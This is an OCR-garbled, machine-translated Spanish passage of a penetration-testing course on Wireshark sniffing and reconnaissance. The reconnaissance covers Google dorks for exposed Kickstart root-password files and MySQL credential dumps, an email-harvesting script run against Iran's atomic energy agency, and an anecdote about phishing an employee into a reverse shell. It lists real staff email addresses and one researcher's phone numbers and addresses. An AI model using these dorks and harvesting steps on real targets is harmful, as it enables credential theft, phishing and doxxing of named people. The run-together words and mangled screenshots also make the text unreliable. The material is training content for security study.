192.168.1.1 les pertenece. S6lo 192.168.1.1 responde a esta difusion ARP y erviaspuesta
ARP unicast 192.168.1.107, informandole de la direccion MAC solicitada.

Paquete 5:Ahora que su equipo sepa donde enviar sus paquetagin de que logren alcanzar
la Internet, es necesario resolver la IP de www.offensdeeurity.com. Ebrdenador envia un
DNSconsulta al servidor DNS se define en los ajustes TCP / IP (24.224.127.143), y pide al
servidor DNS para la direccion IP (registro) de www.offensbeeurity.com.

Paquete 6:El servidor DNS responde y le dice a su equipo que la deién IP de
www.offensivesecurity.com es 208.88.120.8.

Paquete 7:Armado con esta informacion, el equipo intenta un acuerdo de tres vias (recuerde
gue palabra de moda de TCP / IP?) con 208.88.120.8 en el puerto 80 y envia una solicitud SYN.

Paquete 8:Elservidor Web responde con un ACK'y envia un SYN al equipo.

Paquete 9:Usted envia un ultimo ACK al servidor web y completar el protocolo de enlace de
tres vias.
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Paquete de 10 Ahora que el apreton de manos se ha completado, el equipo puede empezar a
hablar con el servicio mediante un protocolo especifico. Puesto que usted estd usando un
navegador web, la computadora envia una solicitud HTTP GET solicitud, que recupera la pagina
de indice, y todas las imagenes vinculadas, a su navegador.

Paquete de 11- final: La pagina principal de www.offensiveecurity.com, incluyendo todas las
imagenes vinculadas, se carga en su navegador.Después de analizar este basurero, se puede
ver que en realidad sniffers tienen sentido y pueden proporcionarle informacién detidla

acerca de lo que sucede en su red.

1.5.2 Captura de pantalla y filtros

Vertederos de captura son raramente tan claro como éste ya que por lo general hay una gran
cantidad de ruido de fondo en una red. Varias transmisiones, servicios diversos de kaag
aplicaciones que se ejecutan todos hacen la vida mas dificil cuando se trata de andlisis de
trafico.

Aqui es donde los filtros de trafico de captura de acudir en su ayuda, porque pueden filtrar las
llamadas noninteresting trafico. Estos filtros ayudiamucho a identificar el trafico que desea y
reducir el fondo el ruido a un punto en el que pueda volver a dar sentido a lo que ve.
Wireshark tiene dos sistemas de filtracibn muy convenientes: filtros vy filtros de captura de
pantalla. Entendimiento el usde estos filtros es una receta para la conquista de Wireshark.
Por favor, tdmese tiempo para aprender y ejercitar estos filtros. Wireshark contiene ademas de
los filtros de captura, que se puede acceder a través de la ventana de captura Interfaces.
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Wireshark: Capture Filter

Edit Filter
Ethernet address 00:08:15:00:08:15 &
| Ethernet type 0x0806 (ARP)
l Lo New ’ No Broadcast and no Multicast )
No ARP |
IP only
. 3
IP address 192.168.0.1 l
——— | IPX only
[ % Delete )
—— | |TCPonly =
-~
UDP only v
(4] *" IHEID
Properties
Filter name: | No Broadcast and no Multicast |
Filter string: |‘not broadcast and not multicast |
\ EHelp ‘ * cancel ’ ‘ -/ OK ‘
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Comote habras dado cuentalos paquetesde 9 final son unpoco dificil de entenderya que
contienenfragmentos deinformacion.Sniffersmas modernos Wiresharkincluido, sabercomo
volver a montaruna sesién especificga mostrarla envarios formatos.

Follow TCP Stream

Stream Content

[GET 7 HTTP/1.1
Host: www.offensive-security.com

IFirefox/3.0.11

|Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/%;q=0.8
|Accept-Language: en-us,en;q=0.5

|Accept-Encoding: gzip,deflate

|Accept- Charset: I1S0-8859-1,utf-8;q=0.7,%*;9=0.7

Keep-Alive: 300

Connection: keep-alive

[HTTP/1.1 200 OK

Date: Sat, 17 Oct 2009 20:17:34 GMT
Server: Apache

|X-Powered-By: PHP/5.2.9
|Content-Encoding: gzip

|Vary: Accept-Encoding

|Content-Length: 2737

|Keep-Alive: timeout=10, max=100
Connection: Keep-Alive

|Content-Type: text/html; charset=UTF-8

N O S W Y
..... 4..3xN.0<..#.H.b7." .10,

Eelp

SRR - A B T - S

|User-Agent: Mozilla/5.0 (X11; U; Linux 1686; en-US; rv:1.9.0.10) Gecko/2009042523 Ubuntu/8.10 (intrepid)

| % Eind | G save As H = Print | Entire conversation (2634 bytes) |#|0O ascn © escoic O

X Close

[«D»]

Hex Dump O C Arrays @ Raw

|| B Fiter out This Stream

1.5.4 Additional Resources

http://wiki.wireshark.org/SampleCaptures

http://wiki.wireshark.org/CaptureFilters

http://media-2.cacetech.com/video/wireshark/introductieto-wireshark/
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2. Mddulo 2: Técnicagle recogidade informacion

Este mddulointroduce el tema delas técnicas generalede recoleccién de informacionque
mas tardese ser la base paral ataque.

Objetivos del médulo

1. Al final deeste modulo,los alumnos deberan secapaces de reunifa informacionpublica
mediante diversos recursqsales comoGoogle,Netcraft,y Whoispara una organizacion
especifica.

2. Los estudiantes debeser capaces de llegacon Google Hackswuevos y Utilespor si mismos.
3. Los estudiantes debeser capaces deonstruir unaempresade base /perfil de la
organizaciénusando publicamente informacion disponible.

Informes

Avisoes necesario para estmédulo como se describe eros ejercicios.

Una Nota delAutor

La recoleccion de informacioes una delas etapas masmportantesdel ataque.Aqui es donde
sereuneninformacion basica sobre abbjetivo con el fin deser capaz ddanzar un ataquemas
adelante.Tenga en cuentaesteecuacionsimple:

MASINFORMACION= mayor probabilidadde un ataque exitoso

Me estuvo comprometidoen una prueba de penetraciérdonde se limitabami superficie de
ataque ylos pocos serviciogjue estuvieron presentesueron aseguradogambién.Después de
fregar Google para obtener informaciénacerca dela compaifiia para la qudue suponepara
atacar,me enwntré con unpost, hecha por uno delos empleadosde la compafiiaen un sello
de recogidaforo.
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El postque podria traducirse como

Hola estoybuscandosellos rarogparaventa o intercambig de los arios 50.
Por favor,pongase en contactaconmigo en.

mail: david@hiscompany.com

Celular:072-776223

Este posffue todo lo que necesitabgpara lanzar un ataquecliente semisofisticadolado. Me he
registrado undominio no-ip (stamps.naeip.com) y se recogiclgunasimagenes de sellos
partir de imagenesde Google.l enalgiun desagradable HTML que contienel cédigo de
explotaciénpara elultimo hoyo Explorador delnternetde seguridad MS05001 en el
momento), y llamo a Davidpor su teléfonocelular.Le dije que miabuelo me habia dado una
estampilla raraenorme colecciénde la queyo estaria dispuest@ negociarvarios sellosMe
aseguré deponer estallamada en un

trabajando diaa aumentar misposibilidades de llegar &l en la oficina.

David estaba muy contento derecibir mi llamaday, sinduda, ha visiado mi sitio web malicioso
para ver los"sellos"que tenia queofrecer. Al explorarmi sitio, el codigo de explotacioren mi
sitio weby descargar Netcakjecutadoen su maguinalocal,enviandome unshellinversa.

Este es urejemplo sencillo decomo la inbrmacion quepuede parecer irrelevantguede
conducir a unéxito penetracion Mi opinién personal es queno haytal cosa comola
informacioénirrelevanteque siempre se puede exprimibits de informaciénde publicaciones en
el foro, inclusomundanas.
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Open Web 2.1 Recopilacion de informacion

Antes de un ataque me pasoalguntiempo navegando en laveby en busca deinformacién
sobre los antecedentes la organizacién que wstoy a punto deatacar.En primer lugar por lo
generalnavegar por lapaginaweb de la organizaciény buscar informacion general, como
informacion de contactontimeros de teléfono yfax, correo electronicogstructura de la
empresa y asi sucesivamentd.ambiénsuelen buscasitiosque enlazan conrel sitio de destino
o en loscorreos electronicosle la organizaciénque flotan alrededor de laveb. A veceslos
pequefios detallede dan lamayoria de la informacionqué tan biendisefiado es el objetivaitio
web? ¢ Qué tan limpioes sucddigo HTML?Esto puededarle una pistasobre a1 presupuesto
cuando levantaronsu sitio, desde el cuala su vez es posibleintuir su presupuestopara
asegurarlo.

2.1.1Google Hacking

Google hademostrado ser unode los motores de bdsquedanejores y mas completo$iasta la
fecha.Google seviolentamentesitios webde arafia,sin quererexponerinformaciénsensibleen
ese sitioweb debido a varios errores de configuraciodel servidor web(como laindexacién de
directoriog. Tales resultadogxposicion engrandes cantidades de fugae datosen la web y;
peor aun, con fugasen la caché deGoogle. A principios de 200dio a luz este a un nuevo
campo, GoogleHacking.

Google Hackingfue introducido por primera vez porJohnnylLong, quedesde entonces ha
publicadoun par de librossobre ella,una "lectura obligatorid para cualquierGooglenautgrave.
Libro de JohnnyLong, "Google Hackingpara la penetracién Testerse puede encontraen
Amazonen: http://www.amzn.com/1931836361

Laideageneral detrds deGoogle Hackinges utilizaroperadores espelesde blsqueda en
Google para reducir los resultados de busquedaencontrar archivoanuy especificagpor lo
general conun formato conocida Usted puede encontrael uso basico

informacion aquihttp://www.google.com/help/basics.html
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2.1.1.11 os operadoresavanzadosde Google

Losoperadores de busqueda avanzadie permitenreducir la cantidad deblsquedasaiun mas,
y paraidentificar Busquedaslestino a exactamentedo que usted estédbuscando.Unalista de
operadoresde Googlese puede encontrar en http:/iwww.google.com/help/operators.html
El uso de estomperadoresse puede buscainformacion especificaue puedaser de utilidad
durante una prueba deapiz.

Vamos a trataralgunos ejemplossencillosnuestromojo de funcionamiento.

2.1.1.2buscar dentro deun dominio
Eloperador site:limita losresultadosa los sitios welen un dominiodeterminado:

site:www.aeoi.org.ir
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3 [-?' http:ffwww.google.com/fsear

v | [[C] + | site www. @

Web |mages Videos Maps PMews Shopping Gmail more »

l@| Remote-Exploit [joffensive Security 4 RE Forums [fflmilworm [@]Metasploit =

Search seftings | Sign in

JE

GOOS[Q [site:www.aeui.mrg.ir

- [ Translate this page ]

- [ Translate this page ]

www . aeoi.org.ir/Portald - Cached - Similar

- [ Translate this |ZIElII|E ]

Web [ Show options... Results 1 - 10 of about 2,470 from www.aeoi.org.ir. (0.04 se

asl oLl ol - LSwig Sl slb LS 6lEL - (INIS) @l amun Glall g wiledbl oISl
o (HS) oojlailiwl olSL - IEEE ol - LSuig Sl sla
www.aeni.urg.irf - Cached - Similar

g _joga? k) u_-gl.l.n ._p;\"..a _)JSII Ual.‘-_)is} \_.A_"i_) L}l.l].:\.ﬂ ._p;\"..a _)ﬁ'} d..u..l.l.l_g} 1388/7/6
w2 il OgauiiaS 83 @ 88 olosge 5 awidsSs oy olul il sl Olajls gus

288 ola yga 10 M.wli-uj_) UU-:' il ginl olejl pun) 3 sseaz gy Oslas
www.aeoi.org.ifPortal/Home/Default.aspx?CategorylD ... - Cached -

Similar

S| aiwid J9id g pole alxs o liya - [ Translate this page ]

wail sl Olojlw lawsi slgiun 09i9 5 pale alae sl asun ysis 3 pals alae ol
v wail il Olejlu pele aypin plais cami iy slghless 3guiie e olul
whiww aeoi.org.ir/portaliHome/Default. aspx ?CateqorylD ... - Cached -

Similar b

I

[+]

Done

S

Observe cémolos resultados se obtienen coel sitio de destinowww.aeoi.org.irTambién

puede ejecutaruna ampliatodo el dominio de busqueda-site:aeoi.org.i, que expondria a

otros servidorepublicosde ese dominio.
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File Edit Wiew History Bookmarks Tools Help

e

*§ http:/www.google.com/sear - | |v site:aeai.f'ef"%]

\@|Remote-Exploit [joffensive Security 4 RE Forums [fflmilworm |@|Metasploit

Ul sl il s 506l olo jlw JU yes - [ Translate this page ]
walle Sl e 468 glejlw ol SIS oz 5o ealle 368 ol awdiaSs 1388/7/19

v 02 88 ole ygo 19 aniaSy jou 0lul weail sl Olojlw puuy 9 usgez puuy Uslee
www . aeoi.org.ir/Portald - Cached - Similar

vt L9 LS - [ Translate this page ]

nJJ_-g_:'n.ILu WGigoloame | oo pie s g u.u!_).:rl_; B Ak g J_;l_)_lili L paat digas ul_g.u’-
o 9647343108 ;bbb eilel ageine o il | e g asgi [ edisis

ebook.aeoi.org.ir/ - Cached - Similar

o jlw Pamu casglio ol8uls - [ Transiate this page ]
sgel o Madl s o 5 5ey anliy cuigles - e sulsl cuiglas - 5 0lis ¢ wliviar cugles

basij.aeoi.org.irf - Cached - Similar

asais| il o clolas jool 4ids as Wyl sle asli cuziog Ls_,.a.f.u,nu.u.a.u.u.;
... - [ Translate this page ]

Somiwr andl ol o calslis el a9y ey byl sl asl cumisg ﬁ_).li.!.r?,nim.l_.w
e D dlw ole jlw ails s fuli ole e ails s el asli
inra.aeoi.org.irf - Cached - Similar

MNew FPage 1

ol nelpaw cad o Foi 1383 ele i (puli fu i pelai emasi ole a8 i o8 ies
adai aiee j 43 wlas sleidled 51zl g enailebw (dan  Jitwe dgiz o sl g
nn _g

tamas.aeoi.org.ir/ - Cached - Similar

PoF] E|AY:YAe Ay @ e AJE IzEe EfAAE]Y EZEAZTHE"

A LW AES

I

LEFA™

3

&

Done
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Pruebeel operador filetype:(por alguna razénno se incluye ena pagina de Google
operadores).

filetype:pdf site:aeoi.org.ir

=Te)

@ filetype:pdf site:aeoi.org.ir - Google Search - Mozilla Firefox = @ ®

File Edit View History Bookmarks Tools Help

O LU - @ K 2 | P nhttp:mwww.google.comysi v‘[v‘@g]

|®| Remote-Exploit !Of‘fensive Security ()4 RE Forums [§flmilworm »

Web Images Videos Maps News Shopping Gmail more v 2

Search settings | Sign in

i

GO ()816 (filetype:pdf site:aeoi.org.ir ]

Web [ Show options... Results 1 - 10 of about 816 from aeoi.org.ir for filetype:p

Tip: Search for English results only. You can specify your search language in
Preferences

o) E|AY YAe A; @e AJE I2Ee EFAAE(Y EZEAZTHET
LEFA™ A/ YAEa ...

File Format: PDF/Adobe Acrobat

Page 1. EeE.1.E. §Y€’°’A»Z» E. €f»AZ 1. Ac,Za . Y[{®e. E. aA°I
AS. 1. %Y ©. ZeY E.SYEAE,(M'ME. $.%. %2 At 7. EZ]JA»Ad.]ZE ..
inra.aeoi.org.ir/pdf/company_list.pdf - Similai

por) EJAYa s YAe Ay ®1° e AJE izEe EfAAE]Y EZEAZTHET
LEFA™ A/ YAEA ...

File Format: PDF/Adobe Acrobat - Quick View

Page 1. EeE.1.E. §Y€3A»Z» E.€AZ. T 1. A(,Za . Y[{®e. E. aA°i
AS. 1. %Y ®. ZeYE. §Y€’-*AE¢M*ME $.%. %2 At 1. EZ]JA»Ad.]ZE ..
inra.aeoi.org.ir/pdf/company_list2.pdf - Similar

[4

| " ] [»]
Done S

"mJ';‘f . |
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Esta basquedanos mostraratodos los archivo?DFpublicamente expuestogn el dominio
aeoi.org.itAsi que,¢ por qué editil? Puede utilizaas busquedas de Googleara ayudarperfil
de un sitio web.Ustedpuede obtener una estimacion delamafio del sitio(numero de
resultados) o de lo contrariobuscar informaciénugosa.

Por ejemplq trate de identificadas paginas de accespublico disponibles enel dominio

aeoi.org.ir

email password site:aeoi.org.ir

Esta busquedaonduce a uncorreo webde acceso publicpque también proporcionael
nombre del softwarey version Gran cantidad de informaciéra partir deuna bdsqueda simplé

WorldClient - Mozilla Firefox

File Edit View History Bookmarks Tools Help

O L - @ K = |‘[@]https://emailserver.ae |v[[v|

|@|Remote-Exploit [JOffensive Security | RE Forums [ffimilw0rm

Email Address:

Password:

MDaemon/WorldClient v6.8.5 © 2003 Alt-N Technologies.

Done emailserver.aeoi.org.ir &
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2.1.1.3 Ejemplo Nasty # 1

En la guia de video, pasamos por algunageresantes blsquedas de Google. Vamos a
ver un poco mas desagradable ejemplos.

Red Hat Linux tiene una maravillosa opcion para las instalaciones desatendidas, donde
todos los detalles necesarios para la instalacion del sistema operativo se colocan en un
archivo de respuesta y leer de este archivo durante la instalacién. Usted puede

Leer mas sobre Kickstart aqui:

http://docs.redhat.com/docs/en
US/Red_Hat_Enterprise_Linux/5/html/Installation_Guide/chkickstart2.html

Después de comprender como funciona Kitiart, se da cuenta de que el archivo de
configuracion Kickstart pueden contenénformacion interesante y deciden buscar
archivos de configuracion de delincuentes en la red:

# Kickstart file automatically generated by anaconda rootpw filetype:cfg
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# Kickstart filetype:cfg - Google Search - Mozilla Firefox

File Edit View History Bookmarks Tools Help

@ QQ (%7} % i_o/ l,-'lhttp://www.google.com/search?q= ‘v | |v @

'@ Remote-Exploit [[jOffensive Security {\ RE Forums [ffimilworm (@] Metasploit »

Web Images Videos Maps News Shopping Gmail more v Search settings | Sign in T
GOL)8[€ # Kickstart filetype:cfg | search
Web [# Show options... Results 1 - 10 of about 656 for # Kickstart filetype:cfg. (0.06 seconds

lexp/osanet/kickstart/ks-voms.cfg - UABGarid dev - Trac

Aug 11, 2009 ... Revision 22, 3.6 kB (checked in by pavgi, 2 months ago). Created osgnet dir
under exp and added VOMS specific kickstart file ...
dev.uabgrid.uab.edu/browser/exp/.. /Kickstart/ks-voms.cfg - Cached - Similar

Scientific Linux PSI Kickstart Configuration File # KSIl # Valeri ...
Scientific Linux PSI Kickstart Configuration File # KSII # Valeri.Markushin@psi.ch #
2006-02-16 : sl42-server-new-ks.cfg # 2006-02-15 ...
linux.web.psi.ch/dist/.../42/Kickstart/.. /s|42-server-new-ks.cfg - Cached - Similar

Scientific Linux PSI Kickstart Configuration File # KSII # Valeri ...

(y/n) " read ok done sleep 1 umount /tmp/master ## Save the Kickstart environment
... tmp/kickstart ##£# Save the kickstart environment varaibles cp ...
linux.web.psi.ch/dist/.. /42/Kickstart/.. /s|42-direct-new-ks.cfg - Cached - Similar

(% Show more results from linux.webh.psi.ch

kickstart file - dominia.org

Kickstart file automatically generated by anaconda. install lang en_US langsupport --default
en_US.is0885915 zh_CN.GB18030 zh_TW.Big5 en_US.is0885915 ja_JP. ...

<] an | [»]
Done S

[4
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Echar un vistaz@ uno de estosarchivos de configuraciényea:
# Kickstart file automatically generated by anaconda.
install

lang en_US

Paginal 51?

langsupport -- default en_US.is0885915 zh  CN.GB18030 zh_TW.Big5

en_US.is0885915
ja_JP.eucJP ko _KR.euckR

keyboard us

mouse msintellips/2 -- device psaux

xconfig  -- card "VESA driver (generic)" -- videoram 16384
-- vsync

50- 70 -- resolution 1024x768 -- depth 32  -- startxonboot
network -- device ethO -- bootproto dhcp

rootpw -- iscrypted $1$gpXuE pyZ$Kj3646rMCQW7SvxrWwcmg8.
# The actual root password for this kickstart is

g09u5jhlegp90u3;oiuar98ut43t

-- hsync31.5 -48.5

firewall -- disabled authconfig -- enableshadow -- enablemd5

timezone America/New_York

bootloader -- append hdc=ide - scsi

# The following is the partition information you requested
# Note that any partitions you deleted are not expressed

# here so unless you clear all partitions first, this is

# not guaranteed to work

#part /boot -- fstype ext3 -- size=b0 -- ondisk=hda

#part / -- fstype ext3 -- siz e=1100 -- grow -- ondisk=hda
#partswap  -- size=240 -- grow -- maxsize=480 -- ondisk=hda
%packages

@ Printing Support

<Rl
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@ Classic X Window System
@ X Window System

@ Laptop Support

@ GNOME

@ KDE

@ Sound and Multimedia Support

@ Network Support

@ Dialup  Support

@ Messaging and Web Tools
@ Software Development

@ Games and Entertainment
@ Workstation Common

xbill

balsa

kuickshow

cdrecord - devel
mozilla - nspr - devel

%post

Encasode que no, mira elarchivo de configuracidmuevo.Dice asi:

rootpw -- iscrypted $1$qpXuEpyZ$Kj3646rMCQW7Svxrwemqs.
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Por desgracia, ehrchivo Kickstartambién contienela contrasefia del usuariooot hash asi

como otros detallesinformacién sobre el equipaue se instalara.
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2.1.1.4EjemploNasty #2

Como propietario de unservidorweb, que pueden tener una grarrelacion conel siguiente
ejemplo.A menudo mehacencopias de seguridad deni MySQLbase de datos porqueyo soy
un servidorweb propietario prudente. Losvertederos deMySQLsuelen tener unsqgl. sufijo, y
por lo general tienenel volcado deMySQLcadenaen la parte superiordel archivo.

mysql dump filetype:sql

Esta busquedanuestratodas lascopias de seguridaddle MySQLexpuestagjue han sido
sometidosa Google,ya menudoestos depdsitoscontienen informacion jugosacomo nombres
de usuariq contrasefias, correos electronicos, nimeros tdgjetas de créditoy similaresEsta
informacionpodria ser simplemente einango que necesita para obteneacceso al servidof
red.

# MySQL dump 8.14
# Host: localhost Database: XXXXXXXXXXXX

#

# Server version 3.23.38

# Table structure for table 'admin_passwords'
CREATE TABLE admin_passwords (

name varchar(50) NOT NULL default ",
password varc  har(12) NOT NULL default ",
logged_in enum('N',"Y") default 'N',

active enum('N',"Y") default 'N',

session_ID int(11) default NULL,

PRIMARY KEY (name)

) TYPE=MyISAM;

# Dumping data for table 'admin_passwords'
INSERT INTO admin_passwords VALUES (‘'umpire’,'ump_pass’,'N','N,NULL);

INSERT INTO admin_passwords VALUES (‘'monitor’,'monitor’,'N’,'N,NULL);

il ; i
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Hay literalmente cientos i no miles) de busquedasinteresantesque se pueden hacery la
mayoria de ellos se enumeraren el 'Google Hacking" de labase de datos deExploit. (El
mantenimiento de la GHDB esta preformado por el equipo de base de datos Exploi).
EIGHDBorganizaestas busquedagn categorias tales comaombres de usuarioy contrasefias,
e inclusolas tasas de cada k8guedaen orden de popularidad Por favor, tbmeseel tiempo
para visitareste sitio, y si estetema te interesa(y lo deberia!) considere ordenara segunda
edicion de Google Hackingpara pruebas de intrusion En cualquier caso, usted debe leer
Google hacking presentacionde JohnnyPDF, que por supuestose pueden encontrara través

de Google (pistapista).

Applications Places System [5_] f [ Tue May 24, 6:42 AM

~ v  x Google Hacking Database, GHDB, Google Dorks - Mozilla Firefox

File Edit View History Bookmarks Tools Help
K} Google Hacking Database, GHD...

'\;] S | B http://www.exploit-db.com/google-dorks/ vic| [*gv e

P BackTrack Linux [Offensive Security KMExploit-DB Wy Aircrack-ng F3SEORG.org [miMusic v
ol alated =
ACKING-
me to the googie nacking a

We call them 'googledorks’: Inept or foolish people as revealed by Google. Whatever you call these
fools, you've found the center of the Google Hacking Universe!

Category: Free text search: (S

Category

"Login Name" y Webtop intitle:|

— e

3| &

S Scripts Partially Allowed, 1/3 (exploit-db.com) | <SCRIPT>: 15 | <OBJECT>: 0 | Options... | %8
=

™ ) Google Hacking Datab...
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2.1.1.5Emailcosecha

Cosechacorreo electronico esuna manera eficazle descubrirposiblescorreos electronicogy
posiblementelos nombres deusuarig que pertenecena una organizacionContinuando con la
evaluacionno maliciosade aeoi.org.ir simplemente ejecutandaun Googlebusquedaen el
dominio aeoi.org.irrevelaravarias direcciones deorreo electronicopertenecientesa ese
dominio.

B E aeoi.org.ir - Google Search - Mozilla Firefox o @ X

File Edit View History Bookmarks Tools Help

s 25

O L - @ K 2 |3 http:/mwww.goc \v\ (Gl + |:0i.org @

v

'®|Remote-Exploit [ oOffensive Security {4 RE Forums [§flmilworm >

>

MAFK International .ol sl wsail 5551 0lejlw JU,gs - SCreenshot
... MHCIP Portal
www.markosweb.com/tag/mafk+international/ir/ - Cached - Similar

por) / hafarideh@aut.ac.ir a.r.ehtesham@agmail.com

eekhtiyari@yazduni.ac ...
File Format. PDF/Adobe Acrobat - Quick View |
f taghavi@iust.ac.ir h2_sadra@yahoo.com [iiElEEE RIS

farrokp@alumni.iut.ac.ir forozani@hasu.ac.ir ...
particles.ipm.ir/conferences/Largeaccelerator2008/Guests .pdf -
Similar

<] . 1t | [»]
Ihttp://www.google.com/search?h|=en&client=ﬁrefox-a&rls=c... S

Obviamente recogiendoestas direcciones manualmentes agotador ypuede automatizarse
utilizando un scriptLa guién busquedasen Google deun dominio dado y luegoanaliza los
resultadosy los filtros demensajes de correo electrénico

root@bt:~# cd /pentest/enumeration/google/goog - mail

root@bt:goog -mail# ./goog - mail.py -d aeoi.org.ir -120 -bgoogle

Fkddkkkkkkkkkdkkkkkkkkhkkkxxkik

*TheHarvester Ver. 1.4b *
*Coded by Christian Martorella *
*Edge - Security Research *

*cmartorella@edge - security.com *

Fkddkkkkkkkkkkkkkkkkkkhkhkrkdkhrkk
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Searching for aeoi.org.ir in google :

Total results: 167000
Limit: 20
Searching results: 0

Accounts found:

webmaster@ aeoi.org.ir
rd@aeoi.org.ir
farkian@aeoi.org.ir
hkazemian@aeoi.org.ir

hnoshad@aeoi.org.ir

rhadian@aeoi.org.ir
hmiranmanesh@aeoi.org.ir
anovin@aeoi.org.ir
mmallah@aeoi.org.ir
vahmadi@aeoi.org.ir
msalahinejad@aeoi.org.ir
@aeoi.org.ir

mgandomkar@aeoi.org.ir

Total results: 43

root@bt:/pentest/enumeration/google/goog - mail#
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Una vez recogidasestosmensajes de correo electrénicee puede utilizar comauna base de
distribuciénde un ataquedel lado del cliente como seradiscutira mas adelanten el curso.
Normalmente me gustahacer una copia derastrearlos correos electrénicose encuentranya
gue puedenrevelarinformacion interesante sobre l&s personasuyas direccioneson. Trate
de hacer una copia deaastrearel correo electronico- hkazemian@aeoi.org.ir

okl
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1 @ "hkazemian@aeoi.org.ir" - Google Search - Mozilla Firef @ &

File Edit \Wiew History Bookmarks Tools Help

b2

*§ http:ffwww.google. ~ | |[C] + farkian@,

\@|Remote-Exploit [JOffensive Security [ RE Forums [fj]milworm »

GOl. JS[E’ "hkazemian@aeoi.org.ir"

Web [# Show options. . Results 1 - 4 of 4 for "hkazemian@aeol.org.ir"

The Repository 4 Iranian Researchers

32-38 , (hkazemian@aeoi.org.ir, hkazemian@yahoo.com). [227],
Menhaje-nia, R and Kazemian , H.,, (2003) , "Evaluation of some Iranian
natural Zeolites and ...

wanw rdir.net/index . php?... - Cached - Similar

K] | i | | >|_
Done 5

Esta busquedaeveladiversos puntos de interéssobre todoque ver conla investigacion
atémica.Observe gueuna adicionalde correo electrénicoYahoo pkazemian@yahoo.comjue
publicadapor el mismo usuarioContinuarla excavacion y Googlbdkazemian@yahoo.com

El primer golpees la empresdNZ, que proporciona lainformacion siguiente:

Company Headquarters:

#111, Incubator Center, Science and Technolog y Park of Tehran University,
16th Street of North Amir Abad Ave., Tehran, Iran,

Tel - Fax: +98 - 21- 88334707

mobile:+ 98 - 912- 3465155

e- mail: hkazemian@yahoo.com , hosseinkazemian@gmail.com, info@spag - co.com

http://www.geocities.com/hkazemian , http://www.spag - co.com

A raiz de losenlaces que aparecen ersa pagina [ittp://www.geocities.com/hkazemian)
proporcionanadn mas informacion sobre el individuesta blusquedapodria continuar durante
horas.
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2.1.1.6Busqueda deservidores vulnerablea través de Google

Cada pocos diaslas nuevawulnerabilidades de las aplicacionegeb se encuentranGoogle a
menudo puedeser usado para identificar servidoreailnerables Por ejemplo, enfebrero de
2006,phpBB(popular softwarede cédigo abiertoforo) vulnerabilidadfue encontrada.Los
hackersutilizan Google para identificar rapidament@odos los sitiosveb que se ejecutan
phpBB.y

estos sitiofueron objeto deataque.Leamasacerca de lavulnerabilidad/ exploit aqui:

http://www.exploit db.com/exploits/1469

"Powered by phpBB" inurl:"index.php?s" OR inurl:"index.php?style"

ol ¢
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2,2 RecursodNeb Miscellaneous

2.2.10tros Motores de Busqueda

Obviamente, hayotros motores de busquedaademas deGoogle.Unabuena lista demotores
de busqueda ysuscapacidades de busquedae puede encontrar aqui
http://www.searchengineshowdown.com/features/

Una funciénde busqueda espedica que captd mi atencion fuela capacidad de busquedae IP
gigablast.com Busqueda decontenido web mediante la direccién IPuede ayudar a identificar
los balanceadores de cargavirtual adicional dominiosy asi sucesivament&ecientemente he
descubiertoque el motor debusqueda de MSNambién es compatible cora ip: busqueda
operador. Trate decomparar los resultados déos motores de busqueddanto para un objetivo
especifico¢ Qué diferencias te diste cuenta?

2.2.2Netcraft

Netcraftes unacompafiia de monitoreo delnternetcon sede enBradford-on-Avon, Inglaterra.
Sumasnotable servicioestan monitoreandotiempos de actividady la disponibilidadoperativo
del servidordel sistema de deteccion

Netcraftse puede utilizar parancontrarindirectamenteinformaciénacerca de los servidores
web en Internet,incluyendo el sistema operativo subyacent@ versiénde los servidores Wep
los graficos detiempo de funcionamientoy asi sucesivamente.

Lasiguiente captura de pantallanuestra los esultados paraodos los nombresde dominio que
contenganicg.com la consulta se ha ejecutado desd#tp://searchdns.netcraft.com/



http://searchdns.netcraft.com/

Search:
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search tips

| site contains

| 4| *.icg.com

| lookup! |

example: site contains netcraft.com

Results for *.icq.com

Found 24 sites

Site

1. start.icg.com

2. search.icg.com

3. www.lcg.com

4 download. icg com

B chat.icg com

6. people.icg.com

7. cficgcom

8. greetingsicg com

Site
Report

(T T S 1 I T 7 T T

[ury

First

Netblock

seen

june 2007  america online, inc

april 2000 america online, inc.

november

america online, inc.

1998

january

america online, inc.

2005

october

america online, inc.

2003

march

america online, inc.

2003

november

alkamai technologies

2001

june 2006 america online, inc

os

linux

linux

linux

linux

linux

linux

linux

linux

Para cada servidoencontrado, ustedpuede solicitar uninforme del sitioque proporciona

informacion adicional

Site hitp:fistarticg.com
Domain icg.com

IP address 54.12.164.92
Country Eus

Date firstseen  June 2007
Domain aol.com

Regisiry

Lastreboot
Netblock owner
Site rank
Nameserver
DNS admin
Reverse DNS

Organisaton 1CQ, Inc, 22000 ACL Way, Dulles, 20166, United Nameserver

States

Check another |

site:

Organisation

Netcraft Site
Report Gadget

unknown  EEAUptime graph

America Online, Inc.
567
dns-01l.icg.net

hostmaster@icg.net

websearch-mv0l.icg.aol.com

ICQ, Inc, 22000 ACL Way, Dulles, 20166, United

States
I Gougle
[Mare Meteraft Gadgets]
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Muchas otras fuentesibiertas de informaciorexiste.S6lo unos pocosse han enumeradaaqui,
pero laregla basica de la pensamiento creatis® aplicaa todos ellos.Si usted creeque
vendra!

2.2.3Reconocimiento déWVhois

Whoises el nombre deun servicio TCPuna herramientay unabase de datosBases de datos
Whoiscontenerservidor de nombres, registradory, en algunos casosinformacion de contacto
completaacerca deun nombre de dominia Cada registradordebe manteneruna base de
datos Whoiscon toda la informaciéonde contacto delos dominiosque alojan.Una central
registro debase de datosWhoises mantenido por elinterNIC.Estas bases de datase suelen
publicar por un

Whoisservidor a travéglel puerto TCP43 y son accesiblesnediante el programa déWhois.

root@bt:~#  whois

Usage: whois [OPTION]... OBJECT...

- 1 one level less specific lookup [RPSL only]

- L find all Less specific matches

- m find first level more specific matches

- M find all More specific matches

- ¢ find the smallest match containing a mnt - irt attribute
- X exact match [RPSL only]

- d return DNS reverse delegation objects too [RPSL only]

- i ATTR[,ATTR]... do an inverse lookup for specified ATTRibutes
- T TYPE[,TYPE]... only look for obje cts of TYPE

- K only primary keys are returned [RPSL only]

- r turn off recursive lookups for contact information

- R force to show local copy of the domain object even

if it contains referral

- a search all databases

- s SOURCE[,SOURCE]... search the da tabase from SOURCE

- g SOURCE:FIRST - LAST find updates from SOURCE from serial FIRST to LAST
- t TYPE request template for object of TYPE (‘all' for a list)

- v TYPE request verbose template for object of TYPE

- g [version|sources|types] query specified server info [RPSL only]
- F fast raw output (implies -1

- h HOST connect to server HOST
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- p PORT connect to PORT

- H hide legal disclaimers

-- verbose explain what is being done

-- help display this help and exit

-- version output version information and exit

